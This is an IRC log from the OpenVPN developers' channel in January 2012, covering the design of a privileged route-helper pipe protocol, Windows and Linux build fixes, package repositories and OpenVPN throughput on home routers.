<@d12fk> ipv6_route_t ipv6; 07:30 <@d12fk> } route; 07:30 <@d12fk> } route_message_t; 07:30 <@d12fk> typedef struct { 07:30 <@d12fk> message_header_t header; 07:30 <@d12fk> int error_number; 07:30 <@d12fk> } ack_message_t; 07:30 <@d12fk> d'oh 07:30 <@d12fk> here: http://pastebin.com/VQxK4NwA 07:30 * dazo wondered how nice vpnHelper helper would be now .... 07:30 <@d12fk> we can't call it service-pipe if we have it on unixoid Oses as well imho 07:31 <@d12fk> but elevation pipe is way too long 07:31 <@dazo> d12fk: ipv6_route_t is missing gateway and interface as well 07:31 <@d12fk> good point, forgot about it 07:32 <@dazo> also wondering if the ack_message_t should be a bit more verbose ... 07:32 <@d12fk> http://pastebin.com/7B2mv9Jq 07:33 <@d12fk> dazo: how to be more verbose? 07:33 <@d12fk> maybe a stage at where the error appeared 07:34 <@d12fk> but then the current ops are atomically enough i guess 07:34 <@dazo> yeah, what caused the error, an integer can be whatever, and it doesn't say much ... maybe even a string with more description in addition? 07:34 <@d12fk> del route failed: no such process 07:35 <@d12fk> well the integer would be the system error code 07:35 <@d12fk> ernno or GetLastError() 07:36 <@d12fk> but then we could say the msg you sent sucked 07:36 <@dazo> which, IMO, is often extremely vague ... at least if you don't look at the source code and know exactly where it failed 07:36 <@d12fk> well if a user comes with en error you look at the source code 07:36 * dazo looks up the NETLINK RFC ... which he believes had some clever stuff in this regard 07:36 <@d12fk> netlink uses errno 07:37 <@d12fk> iirc 07:37 <@dazo> NLMSG_ERROR The message signals an error and the payload 07:37 <@dazo> contains a nlmsgerr structure. This can be looked 07:37 <@dazo> at as a NACK and typically it is from FEC to CPC. 07:37 <@dazo> http://tools.ietf.org/html/rfc3549 07:37 <@vpnHelper> Title: RFC 3549 - Linux Netlink as an IP Services Protocol (at tools.ietf.org) 07:38 <@dazo> so it basically sends back the complete "message" which failed as a part of the response 07:38 <@d12fk> yeah, but netlink it async, this is not 07:38 <@dazo> it's not async now .... but what will happen when we add threading in openvpn3? 07:39 <@d12fk> then I'd rather add a msgnr to the header 07:39 <@dazo> fair enough, that'll work 07:40 <@dazo> could we then have a msgnr in the message_header_t which is always incremented, starting at 1? 07:41 <@dazo> (starting from 1 at both sides of the pipe) 07:41 <@d12fk> no rather an opaque value that is the ID 07:41 <@d12fk> so it should be named id 07:42 <@d12fk> it could be the thread id plus a counter or whatever unique thing you can come up with 07:42 <@dazo> ahh, yeah, agreed! 07:44 <@d12fk> http://pastebin.com/Kw43PYbd 07:45 <@d12fk> no wait 07:46 <@d12fk> http://pastebin.com/hrXhwRvm 07:47 <@dazo> ACK ... makes sense to me 07:48 * dazo considers to start poking at a Linux helper with this pipe system ... using NETLINK and capabilities 07:53 <@d12fk> well if you'd use rtnetlink in linux you could open the netlink socket before privdrop and be still able to route, wouldn't you? 07:53 <@dazo> I don't recall the kernel code paths here now, but I believe there are some extra uid checks along the way 07:55 <@d12fk> wouldn't that be inconsistent and sad 07:55 <@d12fk> think sshd listening on tcp/22 07:56 <@dazo> the kernel is using capabilities on all network configuration stuff, which routing would be a part of 07:56 <@d12fk> but i cant say its not sad, as i'm too lazy to look at the kernel now =) 07:56 <@dazo> and there is one particular capability for network admin ... so you can give an unprivileged process access to routing tables 07:57 <@d12fk> but NET_CAP_ADMIN opens other stuff for the pocess that it doesn't need/must not be allowed to do 07:58 <@dazo> well, still better than running the process as root ;-) 07:58 <@d12fk> true 07:58 <@dazo> and then you can restrict it further with SELinux policies as well 07:58 <@d12fk> passing a netlink socket allows to do all sorts of stuff as well if i think about it 07:59 <@dazo> yeah, you can do quite some stuff there 07:59 <@d12fk> ok, i'll be gone hacking then 08:00 <@dazo> :) 08:00 <@d12fk> if anyone comes up with a better name for the service-pipe, shoot 08:03 * dazo heads out for a late lunch 10:56 <@dazo> mattock: f16 repo seems to work fine 10:57 <@dazo> one thing which would be good is to do something similar with what we do with the snapshots ecrist provides ... modify version.m4 to contain some git HEAD info ... 10:57 <@dazo> openvpn --version just says: OpenVPN 2.x-master ... which is pretty vague 10:58 <@dazo> (important to know when starting to bisect stuff) 12:50 <@cron2> +1 12:52 <+krzee> +1 to gitting HEAD! 12:52 <+krzee> o_O 13:14 -!- dazo is now known as dazo_afk 15:23 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Read error: No route to host] 15:24 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 15:25 -!- mode/#openvpn-devel [+o mattock] by ChanServ 15:25 <@mattock> version numberin makes sense, yes 15:26 <@mattock> HEAD is listed in .spec (rpm) and .changes (deb) files, but having it in version numbers would be better 15:39 -!- mattock [~samuli@openvpn/corp/admin/mattock] has quit [Remote host closed the connection] 17:15 <+krzie> cool, the author of openvpn-settings for android just stopped in the irc 17:16 <+krzie> said hes gunna try to lose the busybox dep and wanted to see if there would be testers, etc 17:16 <+krzie> very cool =] 18:31 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has joined #openvpn-devel 18:32 < fries> Hi 19:48 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has quit [Ping timeout: 255 seconds] 20:52 <+krzie> him ^ --- Day changed Fri Jan 06 2012 03:49 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has joined #openvpn-devel 04:07 -!- dazo_afk is now known as dazo 04:52 <@dazo> fries: I understand you're the guy behind the openvpn-settings for Android .... I'm not an Android guy, but understand it as a GUI for OpenVPN .... and in that case, you might want to catch up a bit with d12fk, as he is doing some improvements to OpenVPN in regards to the Windows GUI ... and he is doing some interesting stuff with a --service-pipe option 04:53 <@dazo> that will be (for now) be used to set up routes properly, having openvpn running as a completely unprivileged user 04:53 <@dazo> latest draft of the "pipe protocol" can be found here: http://pastebin.com/hrXhwRvm 04:54 <@dazo> if you have some ideas for improving this protocol to make life easier in Android, feel free to chime in! 04:56 <@dazo> d12fk: I've been pondering a bit more on this --service-pipe stuff .... what about to prepare it to also set IP addresses and create tun devices too? ... in Linux you need special capabilities for this as well 04:56 <@dazo> So I was thinking, if Linux would have a CAP_NET_ADMIN enabled daemon running, which also would get that info via this interface ... openvpn could really be started completely unprivileged there too 04:59 <@dazo> (you can do some tricks with persistent tun/tap devices, setting the owner uid/gid on this device - but that doesn't grant allowance to modify IP addresses and such easily enough) 08:11 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has quit [Ping timeout: 252 seconds] 08:39 -!- dazo is now known as dazo_afk 08:46 -!- dazo_afk is now known as dazo 10:52 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has joined #openvpn-devel 11:31 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has quit [Ping timeout: 240 seconds] 11:32 -!- dazo is now known as dazo_afk 11:33 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has joined #openvpn-devel 11:44 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has quit [Ping timeout: 255 seconds] 12:57 < ecrist> ping raidz 13:08 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has joined #openvpn-devel 13:10 <@raidz> yo 13:10 <@raidz> hey ecrist 13:13 < ecrist> see pm, please 13:15 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has quit [Ping timeout: 268 seconds] 13:37 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has joined #openvpn-devel 14:34 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has quit [Quit: fries] 14:34 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has joined #openvpn-devel 15:38 < fries> Hi. is here any one who could help out with some C. I'm trying to hack somthing into openvpn... 15:44 -!- fries [~fries@pD9FBF821.dip.t-dialin.net] has quit [Ping timeout: 255 seconds] 16:08 <+krzie> heh 16:08 <+krzie> looks like hes on dialup 16:43 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has joined #openvpn-devel 18:26 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has quit [Read error: Connection reset by peer] 18:26 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has joined #openvpn-devel 18:38 < fries> Is there a technical reason the paths to ifconfig and route are absolute? 18:38 < fries> But the path to ip is not? 20:08 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has quit [Ping timeout: 252 seconds] 20:58 <+krzie> maybe i should get him on the forum... doesnt look like his connection to irc is good --- Day changed Sat Jan 07 2012 03:13 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has joined #openvpn-devel 04:56 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has quit [Ping timeout: 240 seconds] 08:22 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 08:25 -!- Netsplit *.net <-> *.split quits: @cron2 08:25 -!- Netsplit over, joins: @cron2 09:34 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 09:34 -!- mode/#openvpn-devel [+v krzie] by ChanServ 09:56 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has joined #openvpn-devel 10:07 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Read error: Connection reset by peer] 10:08 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:08 -!- mode/#openvpn-devel [+v krzie] by ChanServ 10:59 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has quit [Quit: fries] 10:59 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has joined #openvpn-devel 11:08 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has quit [Ping timeout: 252 seconds] 11:13 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has joined #openvpn-devel 11:24 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has quit [Ping timeout: 252 seconds] 14:09 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has joined #openvpn-devel 14:11 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has quit [Client Quit] 14:11 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has joined #openvpn-devel 14:33 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 14:36 < ecrist> raidz: could you or mattock consider the following, please? 14:36 < ecrist> Please add this solution http://openvpn.net/archive/openvpn-users/2005-01/msg00066.html to Windows installation notes http://openvpn.net/index.php/open-source/documentation/install.html?start=1 or FAQ page http://openvpn.net/index.php/open-source/faq. 14:36 <@vpnHelper> Title: [Openvpn-users] OpenVPN+RRAS Troubles (at openvpn.net) 15:44 -!- fries [~fries@p5DCBDF83.dip.t-dialin.net] has quit [Ping timeout: 240 seconds] 15:59 -!- fries [~fries@p5DCBEF57.dip.t-dialin.net] has joined #openvpn-devel 16:28 < ecrist> hey fries 16:29 < ecrist> suggest you move to the forum 16:29 < ecrist> !forum 16:29 <@vpnHelper> Can't find the solution to this anywere. Hope you can! || Port Forwarding by SQL || Windows 7 as OpenVPN server with redirect-gateway || automatic reconnect potable openvpn || OpenVPN and RRAS working together || only some traffic : disable push redirect-gateway || Wrong routes set to the client || multicast config || [Help] Problem To Connect to the Server || breaking up Class C into 16:29 <@vpnHelper> four subnets || openvpn and source based routing || OpenVPN with Google authenticator like 2FA (windows client) || Down script to fix route issue || Bridging on Windows Server 2008 R2 || Http Proxy .. How to? || Multiple Server Ports Problem || TLS negotiation failed with UDP || Setup on server connected directly to WAN. || Disconnected after inactivity || unable redirect default 16:29 <@vpnHelper> gateway || openvpn connects with no traffic on win 7 64bit || Help Creating a Configuration File || Assign Public Class C to client1 || Date-Time stamp in log name || I Need Auto-reconnect when it drops connection || web-Access via OpenVPN || WHS as internet gateway with Open VPN anonymisation service || Newbee Help Please || Please Help- Login Window issues on Windows 7 64bit || (4 more messages) 16:29 < ecrist> people here keep trying to respond, but you disconnect too quickly 16:48 < fries> ecrist: did I do something wrong? 17:34 <+krzee> no its just that your irc client is very unstable 17:34 <+krzee> too much so to have a realistic conversation on IRC 17:35 <+krzee> if you join the forum and we start a thread there, it will be smoother 17:35 <+krzee> forum.openvpn.net 19:29 < ecrist> forums.openvpn.net 19:41 <+krzee> oh cool both work 21:13 -!- fries [~fries@p5DCBEF57.dip.t-dialin.net] has quit [Ping timeout: 240 seconds] 22:29 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:29 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Sun Jan 08 2012 11:33 -!- fries [~fries@p5DCBEF57.dip.t-dialin.net] has joined #openvpn-devel 11:57 -!- fries [~fries@p5DCBEF57.dip.t-dialin.net] has quit [Ping timeout: 248 seconds] 14:10 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 22:47 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 22:47 -!- mode/#openvpn-devel [+v krzie] by ChanServ --- Day changed Mon Jan 09 2012 02:08 -!- dazo_afk is now known as dazo 03:30 -!- chantra [~chantra@unaffiliated/chantra] has quit [Read error: Operation timed out] 03:33 -!- chantra [~chantra@unaffiliated/chantra] has joined #openvpn-devel 03:43 <@d12fk> dazo: yea thought about it, but I wanted to keep the changes to a minimum for the start. The Windows service diff is scrary enough already 03:49 <@dazo> d12fk: ack! I don't suggest implementing that support instantly, but if we can have a design which can be expanded to tackle this as well, that'd be great! 03:51 <@dazo> d12fk: which made me also think about flexibility ... would it be an idea to have in the message header a "version" integer? So that it's possible to tackle situations where the service/helper application is different from the "core" openvpn? (like what's been done in the plugin_v3 API) 03:51 <@cron2> +1 03:51 <@d12fk> well if a message is umknown it should be simply ignored 03:52 <@dazo> I was thinking more if we now have only support for routing ... and if later on, it would require different "command structs", so it would be possible to tackle that more gracefully 03:54 <@dazo> maybe, it's already covered implicit ... the latest pastebin has expired, so I don't see anything there now 03:54 <@d12fk> a version will not really bring any advantage. if "old" implementations see a message type X and don't know how to handle it they should simply drop it and report an error 03:55 <@cron2> ah, so all the messages are (implicitely) versioned. Do message structs have a length field? 03:56 <@dazo> d12fk: could you pastebin the implementation again? 03:56 <@d12fk> there: http://pastebin.com/HXbeQFpn 03:56 <@dazo> thx! 03:56 <@d12fk> i made you a new one, merry xmas =) 03:56 <@cron2> ah, perfect 03:56 <@d12fk> this ones good for a month 03:57 <@dazo> :) 03:57 <@d12fk> there's a well defined set of message types 03:57 <@d12fk> and the type is in the header 03:58 <@dazo> Yeah, it looks good ... but what if we for some reason at some point realise that ipv6_route_t needs an extra field? And then a user use different versions of service/helper and openvpn core? 03:58 <@cron2> dazo: then you'd have to add a new add_route_v2 command 03:59 <@d12fk> true 03:59 <@cron2> and if the service doesn't understand add_route_v2, it will print an error and ignore the message 03:59 <@dazo> yeah, that's what I see .... and this can be quite ugly .... just like the plug-in API in OpenVPN ... where v3 hopefully will be the last one 04:01 <@cron2> there's not very much you can do here - if you bump a global version number, basically all messages break if "service" is too old, not only "recent changes" 04:01 <@dazo> I'm not standing on any barricades here ;-) .... I'm just trying to see what challenges we might hit later on 04:01 <@d12fk> but the uglyness is implicit in the "new version" no matter how you put it 04:01 <@cron2> yeah 04:02 <@d12fk> i thin it's cleaner to have a whole new struct for a new version instead of adding/deleting fields from an existing one 04:03 <@dazo> okay ... then we'll do it like that :) 04:04 <@d12fk> ovpn needs to support only the latest version, that's the good part about it 05:02 <@vpnHelper> RSS Update - tickets: #188: syslog facility config should be set in config file <https://community.openvpn.net/openvpn/ticket/188> 05:20 <@dazo> .... and it seems IPv6 on community.openvpn.net have fell down again :/ 05:21 <@dazo> raidz, ecrist: ^^ 05:23 <@dazo> huh!? just a network glitch, it seems ... it's back again now 07:07 < ecrist> ok 07:20 <@vpnHelper> RSS Update - tickets: #189: Environmental Variables ERROR. <https://community.openvpn.net/openvpn/ticket/189> 08:47 <@cron2> wth is #189 talking about? 08:49 < ecrist> I replied, asked him to clarify 09:14 <@dazo> he seems to bring up two things ... claims that $local is not set in env. table when using --client-connect script hook .... and a typo in either man page or source code (when using --auth-user-pass-verify script hook, man page says script_type == 'auth-user-pass-verify' ... but the reality is 'user-auth-verify') 09:15 <@dazo> The latter issue, I can confirm after a quick code review ... the former I need to dig deeper into the code to see 09:30 -!- Intensity [6zNDP14Gi1@unaffiliated/intensity] has joined #openvpn-devel 11:24 -!- psha [~psha@213.208.162.69] has joined #openvpn-devel 11:26 -!- dazo is now known as dazo_afk 12:36 -!- psha [~psha@213.208.162.69] has quit [Quit: Lost terminal] 12:57 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 14:27 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has joined #openvpn-devel 14:27 -!- mode/#openvpn-devel [+o raidz] by ChanServ 14:27 <@raidz> ecrist: you around? 14:27 < ecrist> yup 14:28 <@raidz> question: have you used openvpn on a router using wrt or some other third part firmware? 14:28 < ecrist> no 14:28 <@raidz> bummer 14:28 < ecrist> we're looking at using it on Snom phones 14:28 < ecrist> but I've not gotten anywhere with that 14:29 < ecrist> what're you looking for? 14:29 <@raidz> I am noticing that when I pass get to a vertain amount of bandwidth througput the cpu is maxed 14:29 <@raidz> even without encryption 14:29 <@raidz> *certain 14:29 <@raidz> Tried bugging james about it but he doesn't know 14:29 <@raidz> too bad dazo isn't around 14:30 < ecrist> I prefer real hardware for openvpn 14:30 < ecrist> oh, wait, we do use it 14:30 < ecrist> durr 14:31 <@raidz> yeah, same, I just thought it would be convenient having it run on the router versus setting up another machine dedicated to it 14:31 <@raidz> this is at my house 14:31 < ecrist> raidz: we're running some embedded via centaurs at 400MHz and we get about 10mbps before things get crappy 14:32 <@raidz> thats about what I get 14:32 <@raidz> I am on an asus rt-n16 at 520mhx (overclocked 60 mhz) and can get to 1200kilobytes 14:32 <@raidz> after that the cpu maxes out and thats the limit 14:32 <@raidz> using encryption brings it down about 100kilobytes 14:33 <@raidz> so with encryption at 520mhz it can hist around 1100 - 1200 kilobytes 14:33 <@raidz> (BF-CBC) 14:33 <@raidz> *hit 14:33 <@raidz> ah well 14:34 <@raidz> using lzo compression brings it down another 50 kbytes 14:35 < ecrist> makes sense 14:38 <@raidz> yeah 14:38 <@raidz> any ideas why is uses so much cpu? 14:38 <@raidz> Probably the tun driver itself, right 14:38 <@raidz> ? 15:07 <@cron2> could be memory bandwidth issues, copying to and from userland all the time 15:09 <@raidz> good thinking cron2 17:44 -!- raidz [~Andrew@openvpn/corp/admin/andrew] has quit [Quit: Leaving.] 17:45 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 17:45 -!- mode/#openvpn-devel [+o raidz] by ChanServ --- Day changed Tue Jan 10 2012 01:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:38 <@mattock> interestingly, the rate of new user registrations has increased somewhat... normally we've had 5-20 02:38 <@mattock> new users each day, but during last week we've had two days with 39 new users 02:39 <@mattock> either the spammers have found a way around the captcha, or people have found our registration 02:39 <@mattock> webapp :) 05:24 -!- krzie [nobody@openvpn/community/support/krzee] has quit [Quit: This computer has gone to sleep] 06:17 -!- dazo_afk is now known as dazo 06:24 <@dazo> raidz: I've been using tp-link tp-1043wd and linksys wrt54g{,l} with openwrt .... tp-link got pretty good hw for a router box .... however, I've struggled with wireless stability since openwrt moved over to 2.6 kernels .... haven't had time to investigate that, and I'm not running on a recent (stable) firmware right now 10:01 <@vpnHelper> RSS Update - testtrac: Fix a couple of issues in openvpn_execve() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=8ee5646111625c598efbc82413649b1ab6275877> || Add support to forward console query to systemd <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=9449e6a9eba30c9ed054f57d630a88c9f087080f> 10:36 -!- krzie [nobody@openvpn/community/support/krzee] has joined #openvpn-devel 10:36 -!- mode/#openvpn-devel [+v krzie] by ChanServ 11:14 <@raidz> dazo, I am running tomato on my asus rt-n16 and it has been running great, its on 2.6.22 I beleive, DD-WRT was terrible on that router 11:32 <@dazo> raidz: DD-WRT I wouldn't touch at all ... I'm terrified of their way of handling security issues (ref. littleblackbox issue) 11:32 <@raidz> Yeah, I remember you pointing me to that forum thread. 11:32 <@raidz> Tomato is much better imo 11:33 <@raidz> I had no idea OpenVPN would consume so much cpu on my router though, kind of a bummer 11:33 <@raidz> probably because it is in the userspace 11:33 <@dazo> I'm using openvpn on the openwrt ... and it's not consuming that much, but it's just 1-2 users connecting to it (acting as server) 11:34 <@raidz> I am running the client and forwarding internet traffic through it 11:34 <@dazo> hmmm 11:34 <@dazo> that should give even less overhead 11:34 <@raidz> And when I reach a certain throughput it maxes out the cpu and won't go any faster 11:34 <@dazo> how is the memory usage at that point? 11:35 <@raidz> very low like 20 mb out of 124mb 11:35 <@raidz> ^^ 20mb of memory used 11:35 <@dazo> uhm :) 11:35 <@raidz> Lots of people have been complaining about it 11:35 <@dazo> that's way inside the limits 11:35 <@raidz> yeah 11:36 <@dazo> how is the network configured? routed or bridged? (lan/wifi primarily) 11:36 <@raidz> routed 11:36 <@raidz> pretty basic setup, nothing fancy 11:36 <@dazo> ahh, I know that it's been some complaints about openwrt on the tp-link box there .... when using routed, the throughput drops and consumes more CPU ... bridged is easier to tackle 11:37 <@raidz> really? 11:37 <@raidz> so I should use TAP instead of tun? 11:38 <@dazo> hmmm ... it could be worth testing out .... those complaints was not VPN related at all, just basic setup 11:38 <@raidz> I am a bit confused with tomatos gui though with the tap config 11:38 <@dazo> :) 11:38 <@raidz> One question: Server is on same subnet, which subnet are they talking about 11:39 <@raidz> the vpn subnet of the lan the client is running on? 11:39 <@dazo> http://wiki.openwrt.org/doc/hardware/performance 11:39 <@dazo> raidz: good question ... but I have no idea :/ 11:41 <@raidz> we will know in a sec 11:41 <@dazo> :) 11:41 <@raidz> hopefully I don't lock myself out, I am configuring it remotley 11:41 <@raidz> heh 11:49 <@raidz> damn, setting must be wrong 11:49 <@raidz> lol 11:49 <@raidz> can't dix it till I am home now 11:49 <@raidz> thats what I get for taking a risk, lol 11:49 <@dazo> ouch :) 11:49 <@raidz> haha 11:49 <@dazo> no guts no glory! 11:49 <@raidz> yup! 11:50 <@raidz> it is connected to the server though, but routing doesn't work, duh. 11:52 <@raidz> oh wait 11:52 <@raidz> has another machine connected to the vpn 11:52 <@raidz> woohoo 11:52 <@raidz> for times like this 12:10 <@dazo> hehe 12:41 <@raidz> yeah tap won't won't 12:41 <@raidz> ahh well 12:44 <@raidz> any other ideas dazo? 12:44 <@vpnHelper> RSS Update - testtrac: Move away from openvpn_basename() over to platform provided basename() <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=ec302f7061b7ab4dd21bdac77dd115e75b50cbc0> 12:44 <@dazo> raidz: hmm ... no not really ... I probably need to test out tomato first 12:45 <@raidz> no worries, if you want ssh access etc on my network, you are more than welcome to check things out 12:45 <@dazo> :) 12:46 <@dazo> I need to run in 5 minutes, so probably won't manage much today :) 12:46 <@raidz> yeah, no problem, when you get time 12:52 <@dazo> mattock: if you have time, would you mind trying to spin another windows snapshot based on latest master? (commit a4234e1e26693e8fe6a67eea5824ef02d11c825e) 12:53 <@dazo> that should (hopefully) build "out-of-the-box" now 12:53 <@mattock> dazo: yep, tomorrow morning, np 12:53 <@dazo> cool! 12:53 <@dazo> thx! 12:53 * dazo headsd out 12:54 -!- dazo is now known as dazo_afk 12:56 <@vpnHelper> RSS Update - testtrac: Enable access() when building in Visual Studio <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=a4234e1e26693e8fe6a67eea5824ef02d11c825e> 13:13 <@vpnHelper> RSS Update - wishlist: OpenVPN in WinCE <http://forums.openvpn.net/topic9563.html> 13:42 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 20:16 -!- novaflash is now known as novaflash_away --- Day changed Wed Jan 11 2012 01:13 -!- novaflash_away is now known as novaflash 01:20 -!- mattock [~samuli@openvpn/corp/admin/mattock] has joined #openvpn-devel 01:20 -!- mode/#openvpn-devel [+o mattock] by ChanServ 02:59 <@mattock> CentOS 6 i386/amd64 packages now available 02:59 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenvpnAptRepos 02:59 <@vpnHelper> Title: OpenvpnAptRepos – OpenVPN Community (at community.openvpn.net) 02:59 <@mattock> I'll make an announcement on -users 04:17 <@mattock> actually I won't... repos.openvpn.net has terrible network I/O (2Kbps), I'll figure that one out with raidz first 04:27 <@mattock> dazo: re: windows build: http://pastebin.com/yig9iR8Z 04:27 <@mattock> dazo: re: windows build: http://pastebin.com/yig9iR8Z 04:27 <@mattock> oops :) 04:28 <@mattock> latest "master" 05:35 -!- raidz [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds] 05:40 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn-devel 05:40 -!- mode/#openvpn-devel [+o raidz] by ChanServ 07:14 -!- dazo_afk is now known as dazo 07:17 <@dazo> mattock: I've stumbled over something really weird on master on Linux as well .... somehow struct sockaddr_in6 is not found by ./configure ... commit ec302f7061b7ab4dd21bdac77dd115e75b50cbc0 breaks it ... and I don't see why ./configure should break here .... 07:18 <@mattock> ah 07:18 <@dazo> it's only one change to autotools ... checking for basename and dirname ... 07:20 <@dazo> mattock: however, the issue you see is a nasty typo 07:23 <@dazo> huh!? what's wrong in compat.h? 07:23 <@mattock> no idea 07:32 <@dazo> it suddenly worked ... then I ran 'make distclean' ... and then it failed again 07:32 <@dazo> smells like an autotools bug :( 07:43 <@dazo> !???!!?!! ... when I'm enabling the declaration of basename() it fails .... wtf!??! 07:48 <@mattock> btw. I'm setting up the new build server now... hopefully we can get a Windows buildslave running 07:48 <@mattock> soon after 2.3 alpha release 07:48 <@dazo> cool! 07:48 <@mattock> + connectivity tests 07:50 <@dazo> I think I nailed it .... #include "compat.h" fails when included during autotools ./configure .... and I see in syshead.h that #include "config.h" have a check for PACKAGE_NAME (probably to not include config.h when run via autotools) 07:59 <@dazo> mattock: can you try this patch on Windows? http://pastebin.com/aXVp8KWP 08:02 <@mattock> yep 08:09 <@mattock> http://pastebin.com/12GegD3R 08:17 <@dazo> ahh good! just a couple of warnings ... but it builds now :) 08:21 <@dazo> mattock: can you revert that patch and apply this one instead? http://pastebin.com/4JsDmq2q 08:21 <@mattock> dazo: actually, it did not build: misc.c(39) : fatal error C1083: Cannot open include file: 'unistd.h': No such file or directory 08:21 <@dazo> ahh 08:21 <@dazo> well, this last patch should fix that :) 08:21 <@mattock> final build failure messages just went to 2> 08:23 <@mattock> ok, the compat.c problems are now gone 08:23 <@dazo> goodie! 08:23 <@mattock> unistd.h still present 08:23 <@dazo> uhh!?! 08:24 <@mattock> ah, sorry 08:24 <@mattock> I did manual "patching", missed the last change 08:24 <@dazo> heh :) 08:27 <@mattock> worked 08:27 <@mattock> do you want and installer, too? 08:28 <@dazo> what about to release this one as a new windows snapshot for people to test? 08:29 <@dazo> mattock: I'll apply this patch to master, with Tested-by you 08:30 <@mattock> ok 08:30 <@mattock> I'll create a snapshot and put it to build.openvpn.net 08:30 <@mattock> and send mail to -devel 08:31 <@dazo> perfect! 08:35 <@mattock> can you push the change to the repo, so that I can mention the last commitid in ...exe.txt 08:35 <@vpnHelper> RSS Update - testtrac: New Windows build fixes <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=edf8bbacd18d063e50c6a7f787f7e413d146af87> 08:35 <@dazo> mattock: ^^ ;-) 08:35 <@mattock> ah, great! :P 08:36 <@dazo> just missing an ack on the syshead.h/compat.h change for non-Windows ... and it's all good to go 08:38 <@mattock> I'll smoketest the installer on win7, just incase 08:54 <@dazo> clever :) 08:55 <@mattock> did not work, not sure why 08:58 <@mattock> openvpn binary does not work at all 08:58 <@mattock> well, openvpn --help does 08:58 <@mattock> but it crashed instantly when trying to connect (From gui, service or command-line) 09:04 <@mattock> I'll debug this more tomorrow... 09:09 <@dazo> ouch 09:09 <@vpnHelper> RSS Update - testtrac: Fix compilation errors on Linux platforms without SO_MARK <http://openvpn.git.sourceforge.net/git/gitweb.cgi?p=openvpn/openvpn-testing.git;a=commitdiff;h=032f0045246846f566f7433e95376916beb980b0> 09:19 -!- mattock [~samuli@openvpn/corp/admin/mattock] has left #openvpn-devel [] 10:31 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has quit [Quit: Ctrl-C at console.] 10:32 -!- vpnHelper [~vpn@openvpn/bot/vpnHelper] has joined #openvpn-devel 10:32 -!- mode/#openvpn-devel [+o vpnHelper] by ChanServ 11:57 <@raidz> mattock, you around? 12:30 -!- novaflash is now known as novaflash_away 12:33 <@cron2> gah 12:33 <@cron2> Jan 2 06:46:07 OpenWrt daemon.err openvpn(greenie)[454]: OpenVPN ROUTE: cannot add more than 100 IPv6 routes -- please increase the max-routes option in the client configuration file 12:33 <@cron2> bitten by my own client-ipv6-route-duplicate bug 12:51 < ecrist> lol 12:51 -!- novaflash_away is now known as novaflash 12:55 <@dazo> hehe 12:57 <@dazo> cron2: if you're still here ... could you ACK my latest patch? 12:57 <@dazo> (autotools ./configure don't like compat.h) 13:07 * cron2 hates openvpn 13:07 <@cron2> two customer client vpns 13:07 <@cron2> one connects just fine, the other doesn't. look at non-working vpn, over ssh backdoor. oh - server cert expired. roll new cert for server. now other client fails - date wrong, "cert not yet(!!) valid". Gaaaah 13:09 <@dazo> not to be picky or pedantic or anything like that .... but shouldn't you hate SSL certificates instead of openvpn, cron2? :-P 13:09 * dazo ducks 13:10 <@cron2> dazo: go on like that, and you'll never get your ack!!! 13:10 <@dazo> ;-) 13:11 <@cron2> acks ent 13:11 <@cron2> s/s / s/ 